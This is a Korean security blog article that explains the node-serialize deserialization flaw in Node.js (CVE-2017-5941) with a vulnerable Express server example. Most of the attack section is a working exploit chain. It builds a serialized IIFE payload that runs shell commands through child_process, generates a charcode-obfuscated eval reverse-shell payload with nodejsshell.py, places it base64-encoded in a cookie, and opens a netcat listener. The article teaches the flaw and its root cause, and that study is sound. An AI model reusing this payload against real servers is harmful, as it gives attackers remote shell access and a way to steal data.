Vulnerability
node.js 취약점, 직렬화 버그
2017 02 26
  • Facebook
  • Twitter
  • Copy URL

자바스크립트를 이용해서 프론트엔드와 백엔드를 제어한다. 서비스를 이용하는 사용자에게 보여지는 기능, 버튼이나 디자인은 프론트엔드 개발자가 담당하며 사용자가 볼 수 없는 서버와 같은 기능은 백엔드 개발자가 담당하여 웹 개발은 이루어진다. 하지만 이러한 경계선을 물리는 것이 있으니 그것이 node.js다. node.js를 통해 프론트를 구현하던 개발자는 자바스크립트 언어로 서버 기술까지 구현하고 제어할 수 있다. 2009년, 많은 이에 관심 속에 등장하여 최근까지도 여러 관심과 기술 개발이 활발하게 이루어지고 있다.[1] 이렇게 뜨거운 관심 속에 존재하는 node.js에 재를 뿌리는 버그가 하나 발견되었으니 그야말로 해커들이 좋아라 할만한 이야기를 가져왔다. node.js에 있는 직렬화 모듈에 신뢰할 수 없는 데이터가 unserialize()함수로 전달되게 되면 즉시 호출된 함수식(IIFE)과 함께 직렬화 된 자바스크립트 개체를 전달하게 되고 버그에 의해 임의 코드가 실행될 수 있다.

이미지를 불러오는데 실패했습니다.

node.js란 자바스크립트(Javascript)언어를 이용해 서버 프로그래밍을 할 수 있도록 해주는 플랫폼으로 구글 크롬의 자바스크립트 엔진 (V8 Engine) 에 기반하여 만들어졌다.[2] 즉, 간단하게 이야기하면 자바스크립트는 웹 프론트엔드에서 자주 쓰여지는 언어지만 node.js를 이용하면 서버에서도 자바스크립트를 이용하여 서버 기능을 구현할 수 있다. 이러한 개발자의 비구분은 개발 생산성을 크게 높일 수 있다. 보통 프론트엔드 개발자와 백엔드 개발자, 둘은 서로 다른 것을 중점으로 개발하지만 서로가 완전히 배제할 수 없으며 서로가 필요하고 어쩔 수 없이 일을 공유할 때는 의사소통이 필요하다. 하지만 한 개발자가 프런트엔드와 백엔드 모두를 개발한다면 이런 의사소통은 필요 없을 뿐만 아니라 효율성은 커질 것이다. 이러한 점을 봤을 때 node.js는 많은 관심을 받을만한 기술이었다.

node.js 소스 코드를 보면 serializable 인터페이스 안에 node-serialize라는 직렬화, 비직렬화 모듈이 존재한다.[3] 직렬화란 자바에서 생성된 객체를 저장한 뒤 후에 재사용할 수 있도록 하는 것으로 즉, 객체를 손쉽게 저장하거나 전송할 수 있는 기술이다.[4] 이러한 직렬화가 필요한 이유는 구조적인 혹은 계층적인 데이터를 외부로 내보내려면 한 줄로 쭉 직렬화를 해야 할 필요성이 있다. 이렇게 한 줄로 세우는 작업을 직렬화라 하며 반대의 작업을 역직렬화라고 한다.[5] 직렬화는 serializable 인터페이스만 구현해주면 사용할 수 있어 편리한 것이 특징이지만 버전이 맞지 않는다면 버그가 날 수 있어 이러한 점은 염두하고 사용해야 한다.[6]

아래의 node.js 소스코드를 보면 서버와 클라이언트가 주고받는 쿠기 값이 node-serialize 모듈에서 제공하는 비직렬화 함수로 전달되는 것을 볼 수 있다.

 

var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())
 
app.get('/', function(req, res) {
 if (req.cookies.profile) {
   var str = new Buffer(req.cookies.profile, 'base64').toString();
   var obj = serialize.unserialize(str);
   if (obj.username) {
     res.send("Hello " + escape(obj.username));
   }
 } else {
     res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", {
       maxAge: 900000,
       httpOnly: true
     });
 }
 res.send("Hello World");
});
app.listen(3000);
 

보통 다른 언어 Java, PHP, Ruby and Python에서는 직렬화 버그가 존재한다는 이야기는 많이 들어봤겠지만 node.js에서 직렬화 버그가 존재한다는 이야기는 금시초문이다. 하지만 그것이 실제로 이루어졌다. 이 공격은 node-serialize 0.0.4 버전을 사용했으며 unserialize()함수에 신뢰할 수 없는 데이터가 전달되면 임의 객체 코드가 실행된다. 공격 소스를 만드는 가장 좋은 방법은 동일한 모듈의 serialize 함수를 사용하는 것이다. 아래 소스는 자바스크립트 객체를 생성한 후 이를 serialize 함수에 전달하는 소스코드다.

 

var y = {
 rce : function(){
 require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
 },
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

 

이 소스 코드를 추가하면 아래와 같은 결과가 나온다.

이미지를 불러오는데 실패했습니다.

방금 전 코드를 통해 직렬화된 문자열이 존재하고 unserialize 함수를 이용하여 객체를 직렬화했다. 한가지 문제점은 객체의 RCE 속성에 해당하는 함수가 실행해야지만 코드가 실행되고 이는 자바 스크립트의 IIFE을 사용해야 했다. IIFE(Immediately Invoked Function expression)는 즉시 호출 익명 함수 표현식의 줄임말로 이는 익명의 함수가 즉시 호출되는 표현식이다.[7] 보통 함수 선언은 자바 스크립트 실행 컨텍스트 (execution context)에 로딩되어 있어 언제든지 호출할 수 있지만 표현식은 인터프리터가 해당 라인에 도달해야지만 실행된다.[8] 하지만 이 함수 표현식을 사용하면 어디서든 익명의 함수 표현식을 사용할 수 있다. 이 같은 표현식을 사용하는 이유는 변수를 전역으로 선언하는 행위를 피하여 전역 영역을 오염시키지 않고 외부와의 충돌을 막기 위해서 쓰인다.[9] 따라서 unserialize 함수를 사용하기 위해서는 즉시 호출 함수 표현식을 사용하여 객체의 RCE 속성에 해당하는 함수가 실행되도록 해야 한다.

아래의 소스코드를 보면 함수 본문 안에 IIFE ()를 사용하여 객체가 생성될 때 함수가 호출되는 것을 볼 수 있다. 보통 이런 것들은 C++의 class 생성과 비슷하게 작동한다고 생각하면 된다. 이렇게 하면 임의 객체 코드가 추가된 serialize 함수가 호출된다.

 

var y = {
rce : function(){
require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Serialized: \n" + serialize.serialize(y));

 

위와 같은 소스 코드를 실행하면 아래와 같은 결과가 나온다.

이미지를 불러오는데 실패했습니다.

결과물에서 볼 수 있다시피 IIFE는 정상적으로 작동했지만 ‘{}’가 보여지면서 직렬화는 실패한 것이보인다. 추가로 직렬화된 문자열 함수에 ‘()’를 추가하여 그 값을 unserialize 함수에 전달한 후 다시 실행하면 익스플로잇 페이로드, 공격코드가 완성된다. 만들어진 공격코드를 unserialize 함수에 전달하면 공격 코드가 실행된다.

 

var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function (){require(\'child_process\').exec(\'ls /\', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

 

결과물을 보면 공격코드가 잘 작동한 것을 볼 수 있다. 결과적으로 신뢰할 수 없는 데이터가 node.js를 통해 전달되면 노드 직렬화 모듈에서 unserialize 함수를 사용할 수 있다는 것을 알았다. 이 취약점을 악용하면 웹 응용 프로그램에서 역방향 쉘을 생성할 수 있다. 역방향 쉘이란 호스트 쉘에 접근할 수 있는 공격을 제공하는 것으로 역방향 쉘이 생성되면 공격자는 로컬로 실행하는 것처럼 명령을 내릴 수 있다.[10]

이 취약점은 HTTP 요청에서 프로필이라는 쿠키를 읽는다. 읽혀진 쿠키 값을 base 64로 디코딩 한 후 unserialize 함수에 전달한다. 이때 쿠키 값을 악의적으로 조작하여 보낸다면 node.js 취약점을 악용할 수 있다. 여기서는 역방향 쉘 공격 코드를 만들기 위해 nodejsshell.py를 이용하였다.

 

$ python nodejsshell.py 127.0.0.1 1337

[+] LHOST = 127.0.0.1

[+] LPORT = 1337

[+] Encoding

eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))

 

이 후, 직렬화된 공격코드를 생성하고 함수 본 문 뒤에 IIFE를 ‘()’로 감싸준다.

 

{"rce":"_$$ND_FUNC$$_function (){ eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,50,55,46,48,46,48,46,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

 

이 코드를 전 코드와 동일하게 base64 인코딩을 한 후, 쿠키 헤더에 인코딩된 공격코드를 넣어 웹 서버에 요청한다.

이미지를 불러오는데 실패했습니다.

연결해보자. 'nc -l 127.0.0.1 1337'

이미지를 불러오는데 실패했습니다.

공격코드가 성공하면 이 후에는 쉘을 통해 연결하여 명령을 내릴 수 있다. 아래에는 시연 동영상이다.

이처럼 deserialization 버그를 이용하여 신뢰할 수 없는 사용자 입력으로 임의코드를 실행할 수 있다는 것을 볼 수 있다. 일반적으로 신뢰할 수 없는 사용자의 입력은 비직렬화하지 않는다. 이러한 버그의 가장 근본적인 원인은 내부적으로 비직렬화를 위해 eval 함수를 이용하고 있다는 것이다. 이와 같은 버그는 serialize-to-js라는 또 다른 모듈에서 비슷한 버그를 발견할 수 있다. serialize-to-js 모듈에서는 node.js의 require 함수가 내부적으로 없고 비직렬화를 위해 function 함수를 내부적으로 사용하고 있다. 이 모듈에서는 다른 모듈보다 좀 더 복잡한 페이로드도 사용할 수 있다. 현재 이 두 버그는 각각 CVE-2017-5941, CVE-2017-5954로 지정되어 있다.

 
본 글은 node.js 취약점을 통해 원격코드를 실행한다는 블로그 글을 재구성한 글입니다. 단순히 번역이 아닌 설명도 넣고 최대한 쉽게 말씀 드리려 노력했습니다 부족한 부분이나 어색한 부분, 이상한 부분이 있다면 아래 메일을 통해 말씀해줬으면 좋겠습니다. 말씀해주신 의견, 적극 반영하여 수정하도록 하겠습니다. 감사합니다 
유성경 yuopboy@grayhash.com